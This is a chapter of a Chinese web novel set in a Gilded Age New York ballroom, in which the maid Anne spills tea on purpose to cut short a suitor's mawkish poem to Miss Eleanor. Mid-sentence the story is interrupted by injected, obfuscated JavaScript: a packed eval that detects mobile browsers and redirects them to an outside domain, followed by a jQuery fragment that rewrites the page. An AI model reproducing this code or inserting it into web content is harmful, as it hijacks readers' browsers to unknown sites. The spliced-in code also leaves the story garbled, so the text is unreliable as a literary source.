晚上十点，布鲁克家的舞会正行进至高潮与尾声的微妙交接处。
舞池里，几对璧人仍手拉着手左脚点两下，右脚点两下，但更多的宾客已退至场边。女士们摇着精致的羽毛扇，绅士们则聚在一起，低声谈论着时局与生意。侍从，女仆，如同时钟里精准的齿轮，无声地穿梭其间，撤下空杯，递上可可。
突然，前厅传来门童清晰而洪亮的通报声：「查尔斯·范里安先生到！」
这一声通报，让整个舞会的节奏产生了微妙的凝滞。许多宾客都下意识地朝大门方向望去。
阿拉伯王子虽神秘，却只是纽约的过客；查尔斯·范里安才是纽约掌握权势的大人物之一。
更何况最近报纸上全是关于他家的新闻。
范里安先生步履匆匆地走了进来，他的黑色燕尾服一丝不苟，但眉宇间带着难以掩饰的疲惫。「玛蒂尔达，我亲爱的姐姐，请务必原谅我。」他径直走向女主人，声音低沉，带着真诚的歉意，「紧急事务拖延得太久。希望我没有完全错过您的盛会。」
玛蒂尔达夫人脸上立刻浮现出完美无缺的笑容，比以往更真诚，她伸出手：「查尔斯，你能赶来就足够了。舞会尚未结束，正好，我原就打算留几位挚友在会后小聚，你来了正好一起。」
「您太周到了，但我恐怕已打扰了舞会的雅兴。」范里安先生语气礼貌，亲吻了她的手背，「不如这样，我先不打扰大家，待舞会结束后我们再谈？」
就在这时，两位重量级的宾客——阿斯特夫人和范德比尔特夫人——几乎同时向女主人走来，准备第一个道别。她们看到了范里安先生，短暂的视线交锋中流露出微妙的竞争。
「范里安先生，晚上好。」阿斯特夫人率先开口，微微颔首，姿态无可挑剔，「看来您的铁路帝国一刻也离不开您。」
「晚上好，阿斯特夫人，范德比尔特夫人。」范里安先生转身，从容应答，「总是有些小波折需要处理。希望二位今晚尽兴。」
范德比尔特夫人笑容明艳，不甘示弱地接话：「托玛蒂尔达的福，总是如此。范里安先生，再忙碌也需记得享受生活。」寒暄简短而克制，每一句都遵循着上流社会的标准，也是一次无声的地位确认。
玛蒂尔达夫人亲自将两位夫人送至大门。阿斯特夫人似乎无意间快了半步，率先从施耐德管家手中接过一份丝绒礼盒，微笑道别后，优雅登上了自己的豪华马车。
范德比尔特夫人几乎同时接过自己的礼盒。走时，不忘拽上两个还恋恋不舍的女儿，她们满脑子还想着再跳一曲「快乐踏步舞」。
其中一个女儿央求道：“妈妈，再让我们跳一曲……”
回应她的只有一个凶狠的眼神。转过身，她又春风和煦地向玛蒂尔达夫人说：“玛蒂尔达，今天的舞会让人难忘！就让先生们接着余兴活动吧，我们就先回去了，您知道按时作息对女人非常重要。”
说罢，推着两个女儿上了马车。两辆车相继驶离，仿佛一场无声的退场竞赛。
送走这两位重要客人，舞会也自然步入尾声。玛蒂尔达夫人与范里安先生低声交谈了几句，便由施耐德管家安排，移步至更私密雅致的小客厅。几位显然与他们关系密切的男士——包括阿斯特先生、范德比尔特先生等几位显要人物——以及家族成员如伊迪丝，埃莉诺小姐，也一同前往。
比起舞会，男士们显然更期待与这位迟到的铁路大亨进行实质性的交流。
安妮和另外几名女仆被选派到小客厅服务。她端着摆放着白兰地酒杯和少量精致咸点心的银质托盘，安静地侍立在角落。
小客厅内的气氛与舞厅截然不同，更加放松，也更加聚焦。壁炉里的火噼啪作响，空气中弥漫着优质雪茄和醇酒的气息。男士们松散地坐在沙发或扶手椅上，话题迅速从舞会的闲谈转入正题。
「查尔斯，通往芝加哥的线路处理的怎么样了？」鬓角花白的阿斯特先生啜了一口白兰地，开门见山地问道。
范里安先生解开了领结最上面的扣子，略显疲惫但眼神淡定：「暂时控制住了。主要是新引进的刹车部件在重载下出了纰漏，已经让工程师团队连夜赶工更换。代价不小，但安全最重要。」
「安全是幌子，股价才是真的吧？」另一道洪亮声音传来，是范德比尔特先生半开玩笑地调侃，引来几声低沉的笑声。
「安全就是最好的股价稳定剂。」范里安先生回答得滴水不漏，「这次虽然有些损失，但也证明了我们应对危机的速度和决心。下一步，会考虑投资研发更可靠的国产配件，总不能一直受制于欧洲的专利。」
玛蒂尔达夫人安静地听着，偶尔插话问及某个投资项目的运营情况，显示出她对家族财富的清晰掌控。安妮捕捉着这些碎片信息，逐渐拼凑出范里安先生与布鲁克家真正的关系。
范里安先生不仅是铁路大亨，还是玛蒂尔达丈夫——已故范里安先生的弟弟。自从她丈夫去世后，玛蒂尔达仍然与夫家的亲戚保持紧密往来。毕竟她很大一部分出息来自参与到小范里安先生的投资，利益的捆绑比什么关系都更为紧密。
困惑安妮许久的称谓问题，也终于豁然开朗。
她出嫁前叫玛蒂尔达·布鲁克小姐，家族从纽约建城之初就已然扎根。出嫁后改随夫姓，叫范里安太太，丈夫去世后，她只让身边的人称呼自己玛蒂尔达。
原来如此。
几位先生开始玩起了桥牌，赌注适中，谈话在出牌的间隙继续。埃莉诺小姐则安静地坐在稍远处的软凳上，翻阅着一本画册。
就在这时，一个不和谐的身影——汤姆·瑞克斯——略显局促地出现在了门口。他大概是凭借为书房翻新供应木材那点微弱联系，才胆敢留到最后。他崭新的橄榄绿礼服此刻看起来有些僵硬，眼神热切地扫视着室内，最终落在了埃莉诺小姐身上。
他深吸一口气，挺直腰板，心里默念：“汤姆·瑞克斯，今晚就是你飞黄腾达的日子，别搞砸了！”
玛蒂尔达看见来人，此刻的表情，用安妮的形容就是，哑巴吞黄连！笑比哭难看！她只能邀请对方进来。
汤姆·瑞克斯试图插入男士们的谈话，但那些关于资本、铁路和专利的话题让他无从下手。他的目光一次次瞟向埃莉诺，机不可失的焦虑灼烧着他。
突然，他像是下了极大决心，猛地站起身，从内袋里掏出一张小小的纸片。
他声音因激动而发颤：「范里安先生，玛蒂尔达夫人，请原谅我的冒昧……请允许我朗诵一首诗，献给我心中最璀璨的明珠，埃莉诺小姐！」
谈话声和牌局戛然而止。
玛蒂尔达夫人的笑容彻底冻结。范里安先生抬起眼，目光中带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417900|184715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着了然和审视。埃莉诺小姐的脸颊瞬间失去血色，手指紧紧攥住了画册的边缘。
汤姆却仿佛置身于自我感动的舞台中央，开始用夸张的腔调朗诵：「啊，我的爱人，你像玫瑰一样美丽，像月亮一样明亮……」
诗句肉麻又直白。
他因为“情感过于投入”，身体开始不自觉地小幅晃动，手臂也会随着朗诵节奏摆动。
「哦，你的眼眸如最深的森林
你的微笑如锯开的松木般清新
我愿做你永远的木材供应商
提供最优质的情感材料。」
安妮看到埃莉诺小姐窘迫得无地自容。
今夜已经勇过一次，就不怕再疯一次。对不起了，瑞克斯先生。
她随即低下头，看似恭敬地端着一壶沏好没多久的红茶，悄无声息地移动脚步。她计算着角度和距离，最终在一个恰到好处的位置停下——这里离汤姆足够近，正好在他可能因“忘情”而移动或挥臂的路径上，但又不会显得刻意。
汤姆果然越念越投入，感情“充沛”地向前迈步，手臂为了加强语气而向外一扬——
「砰！」他的手肘结结实实地撞在了安妮端着的茶壶上。
「哎呀！」
温热的茶水猛地从壶口泼溅出来，大部分洒在安妮的手臂和裙摆上，小部分溅落在地毯上。茶壶差点脱手，发出刺耳的撞击声。
这突如其来的意外瞬间打断了汤姆的朗诵。所有人都看了过来。
安妮立刻后退一步，脸上瞬间布满惊慌和痛楚。
那热水是真的烫！
她看向汤姆·瑞克斯，声音带着哽咽却清晰地说道：「万分抱歉！先生！是我不小心！挡了您的路！我立刻清理！」她第一时间将“过错”揽到自己身上，却帮助所有人脱离了“脚趾抠地”的尴尬。
汤姆的手臂被溅到的热水烫得一缩，愣在原地，满脸错愕，他根本没注意到这个女仆什么时候离他这么近。
玛蒂尔达夫人第一次觉得安妮这丫头顺眼。立刻开口，语气带着不容置疑的威严：「瑞克斯先生，请您小心些！安妮，伤得重不重？还不快下去处理一下！」
「是，夫人！」安妮忍着痛，再次低头，迅速转身离开去处理烫伤，她的任务已经完成——埃莉诺，祝你好运。
范里安先生意味深长地看了一眼安妮迅速退下的背影，又瞥了一眼满脸通红的汤姆，什么也没说，只是拿起雪茄吸了一口。
牌局和谈话很快重新开始，没人再理会汤姆那湿透了的诗笺。
伊迪丝小姐趁着混乱，快速拉着埃莉诺离开了小客厅。连一首钢琴练习曲都没有弹。
而汤姆，蔫蔫地坐回角落，再也提不起任何勇气。
/
当安妮待在仆从休息区清理自己时，埃莉诺小姐找了过来。
「安妮，你的手……」埃莉诺的声音充满了真实的关切，「严重吗？刚才……真的，多亏了你。」
安妮微微屈膝，声音平静「谢谢小姐关心，不要紧。刚才确实是个意外。」
埃莉诺没有再多说，但那眼神已说明一切。
她轻轻将一小盒药膏放在桌案上，改用小姐才会用的语气，命令道「把手伸出来，我给你抹一抹。」
「噗。」
两人同时笑了起来。